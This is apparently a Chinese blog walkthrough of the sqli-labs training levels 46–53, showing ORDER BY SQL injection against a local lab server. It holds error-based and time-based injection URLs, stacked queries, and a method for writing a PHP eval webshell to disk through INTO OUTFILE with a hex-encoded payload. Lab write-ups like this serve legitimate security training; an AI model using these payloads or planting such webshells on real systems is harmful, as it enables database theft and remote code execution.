less-46

前置基础知识:

select * from users order by 1 desc ;使用降序(倒序)排列

select * from users order by 1 asc ;使用升序(正序)排列

select right(database(),1);从右至左输出第一个字母

select lesft(database(),1);从左至右输出第一个字母

lines terminated by 666  每行输出以666结尾

第46关和之前的不同/根据提示可以看到让输入sort,观察源码并加上输出语句,实际上输入查询的还是id:

然后输出?sort=1可以得出user表的信息,并可以排序:http://192.168.0.106:300/Less-46/?sort=1 desc

下面通过两种办法拿到数据库的其他信息:

第一种办法:报错注入

http://192.168.0.106:300/Less-46/?sort=1 and updatexml (1, concat(0x7e,database()) ,1)

其他省略

第二种办法:延时注入

http://192.168.0.106:300/Less-46/?sort=1 and if(length(database())=8  ,1,sleep(5))

二种办法都可以在database()处构造语句。

less-47

基本与46关相同,就是order by ‘1’

闭合的sql语句变成了:

第一种办法:报错注入

http://192.168.0.106:300/Less-47/?sort=1‘ and updatexml (1, concat(0x7e,database()) ,1) --+

第二种办法:延时注入

http://192.168.0.106:300/Less-47/?sort=1’ and if(length(database())=8  ,1,sleep(5))--+

less-48

基本与46关相同,但是这一关没有错误的回显,所以只能用盲注的办法:

延时盲注

http://192.168.0.106:300/Less-48/?sort=1 and if(length(database())=8  ,1,sleep(5))

先判断长度,再判断内容,以下省略

less-49

基本与46关相同,就是order by ‘1’,然后不显示报错,所以也可以用盲注的办法:

延时注入

http://192.168.0.106:300/Less-49/?sort=1‘ and if(length(database())=8  ,1,sleep(5)) --+

其他步骤相同

less46-49的其他打开方式:使用函数写入一句话木马

这里以46关为例,我们首先使用outfile函数:

http://192.168.0.105/sqli-labs/Less-46/?sort=1 and (select '<php @eval($_POST["crow"];?>') into outfile 'C:\\PhpStudy\\PHPTutorial\\WWW\\sqli-labs\\Less-46\\mm.php' --+

可以看到文件虽然已经有了,但是并没有一句话木马,所以也不能使用菜刀链接。

但是我们现在可以使用文章开头提到的line terminal by 语句进行输入:(最后是一句话16进制形式)

http://192.168.0.105/sqli-labs/Less-46/?sort=1 into outfile 'C:\\PhpStudy\\PHPTutorial\\WWW\\sqli-labs\\Less-46\\mm2.php' lines terminated by 0x3c70687020406576616c28245f504f53545b2263726f77225d3b3f3e

可以看到,输出的每一行都写入了一句话木马,这样就可以用菜刀进行连接。

less-50

这一关大同小异:

方法一:延时注入

方法二:报错注入

方法三:写入一句话木马  以上三种方法参考上面。

方法四:使用堆叠注入创建新的users表:

http://192.168.0.105/sqli-labs/Less-50/?sort=1;create table hzk50 like users;insert into hzk50 select * from users;

方法五:使用堆叠注入写入一句话木马。

以上方法都可以,具体参考前几关的文章。

less-51

和50关基本相同,order by ’1‘语句数据包裹形式不同

方法一:延时注入

方法二:报错注入

方法三:写入一句话木马  以上三种方法参考上面。

方法四:使用堆叠注入创建新的users表。

方法五:使用堆叠注入写入一句话木马。

less-52

和50关基本相同,但是输出报错信息,所以不能用报错注入。

方法一:延时注入

方法二:写入一句话木马  以上三种方法参考上面。

方法三:使用堆叠注入创建新的users表。

方法四:使用堆叠注入写入一句话木马。

less-53

和50关基本相同,order by ’1‘语句数据包裹形式不同,而且没有输出报错信息的语句,所以不能用报错注入。

方法一:延时注入

方法二:写入一句话木马  以上三种方法参考上面。

方法三:使用堆叠注入创建新的users表。

方法四:使用堆叠注入写入一句话木马。

Sqli-Labs less46-53的更多相关文章

  1. SQLI LABS Basic Part(1-22) WriteUp

    好久没有专门练SQL注入了,正好刷一遍SQLI LABS,复习巩固一波~ 环境: phpStudy(之前一直用自己搭的AMP,下了这个之后才发现这个更方便,可以切换不同版本的PHP,没装的小伙伴赶紧试 ...

  2. Sqli labs系列-less-3 。。。

    原本想着找个搜索型的注入玩玩,毕竟昨天被实力嘲讽了 = = . 找了好长时间,我才发现,我没有 = = ,网上搜了一个存在搜索型注入的源码,我看了好长时间,楞没看出来从哪里搜索注入了....估计是我太 ...

  3. Sqli labs系列-less-2 详细篇

    就今天晚上一个小插曲,瞬间感觉我被嘲讽了. SQL手工注入这个东西,杂说了吧,如果你好久不玩的话,一时说开了,你也只能讲个大概,有时候,长期不写写,你的构造语句还非常容易忘,要不我杂会被瞬间嘲讽了啊. ...

  4. Sqli labs系列-less-1 详细篇

    要说 SQL 注入学习,网上众多的靶场,就属 Sqli labs 这个系列挺不错的,关卡达到60多关了,我自己也就打了不几关,一个挺不错的练习SQL注入的源码. 我一开始就准备等我一些原理篇总结完了, ...

  5. SQLI LABS Stacked Part(38-53) WriteUp

    这里是堆叠注入部分 less-38: 这题啥过滤都没有,直接上: ?id=100' union select 1,2,'3 less-39: 同less-38: ?id=100 union selec ...

  6. SQL注入系列:SQLi Labs

    前言 关于注释 说明:在SQL中--[空格]表示注释,但是在URL中--空格在发送请求的时候会把最后的空格去掉,所以用--+代替,因为+在被URL编码后会变成空格 MYSQL有三种常用注释: --[空 ...

  7. Sqli - Labs 靶场笔记(一)

    Less - 1: 页面: URL: http://127.0.0.1/sqli-labs-master/Less-1/ 测试: 1.回显正常,说明不是数字型注入, http://127.0.0.1/ ...

  8. SQLI LABS Challenges Part(54-65) WriteUp

    终于到了最后一部分,这些关跟之前不同的是这里是限制次数的. less-54: 这题比较好玩,10次之内爆出数据.先试试是什么类型: ?id=1' and '1 ==>>正常 ?id=1' ...

  9. SQLI LABS Advanced Part(23-37) WriteUp

    继续继续!这里是高级部分! less-23: 提示输入id参数,尝试: ?id=1' and '1 返回的结果与?id=1相同,所以可以直接利用了. ?id=1' order by 5# 可是页面返回 ...

  10. Sqli labs系列-less-5&6 报错注入法(下)

    我先输入 ' 让其出错. 然后知道语句是单引号闭合. 然后直接 and 1=1 测试. 返回正常,再 and 1=2 . 返回错误,开始猜表段数. 恩,3位.让其报错,然后注入... 擦,不错出,再加 ...

随机推荐

  1. Mybatis学习(8)动态sql语句

    Mybatis 的动态sql语句是基于OGNL表达式的.可以方便的在 sql 语句中实现某些逻辑. 总体说来mybatis 动态SQL 语句主要有以下几类: 1. if 语句 (简单的条件判断) 2. ...

  2. 苦B程序员的数据验证之路

    发生了什么事 在一次苦B程序员和苦C程序员的结对编程中发生的一段对话 代码是这样的: public void deleteAllExtendAclsFromContent(String content ...

  3. docker基本操作和部署

    #安装所需的软件包.yum-utils 提供了 yum-config-manager ,并且 device mapper 存储驱动程序需要 device-mapper-persistent-data ...

  4. MyEclipse中,编写properties文件,输入中文显示乱码

    我在properties文件中输出中文,结果显示的是乱码,额......好吧,其实不是乱码,哪有这么规范的乱码 其实是在输入中文时发生了转码,就是下面这个样子: 字符集不支持中文,修改方法: 选中你工 ...

  5. HADOOP及SPARK安装步骤及问题解决

    说明:主节点IP:192.168.35.134   主机名:master 从节点slave1 IP: 192.168.35.135   主机名:slave1 从节点slave2 IP: 192.168 ...

  6. 利用bmob平台,使用云端逻辑在Xcode上实现用户注册、登录

    思路:bmob上构建云端逻辑,xcode通过http请求来在不引入bmob SDK的情况下,远程操作bmob上构建的数据库,实现注册.登录. xcode导入 AFNetWorking--------- ...

  7. 通过MMIO的方式实现VIRTIO-BLK设备(一)

    背景知识 什么是VIRTIO 使用完全虚拟化,Guest不加任何修改就可以运行在任何VMM上,VMM对于Guest是完全透明的.但每次I/O都将导致CPU在Guest模式与Host模式间切换,在I/O ...

  8. WPF项目升级sqlite-net-pcl时遇到Library e_sqlite3 not found的问题解决办法记录

    项目中为了方便的存储本地数据,使用了SQLite数据库作为数据存储,再设计时DB.models引用了sqlite-net-pcl,那么项目再升级sqlite-net-pc 1.7.335l版本后后,遇 ...

  9. Docker原理:Namespace

    目录 Namespace UTS Namespae PID Namespace Mount Namespace User Namespace Network Namespace 参考 Namespac ...

  10. nginx的基本使用

    下载: https://nginx.org/en/download.html  Window下安装: 下载好了之后直接解压就行了.(解压目录切记别含有中文) 启动:1️⃣直接双击nginx.exe2️ ...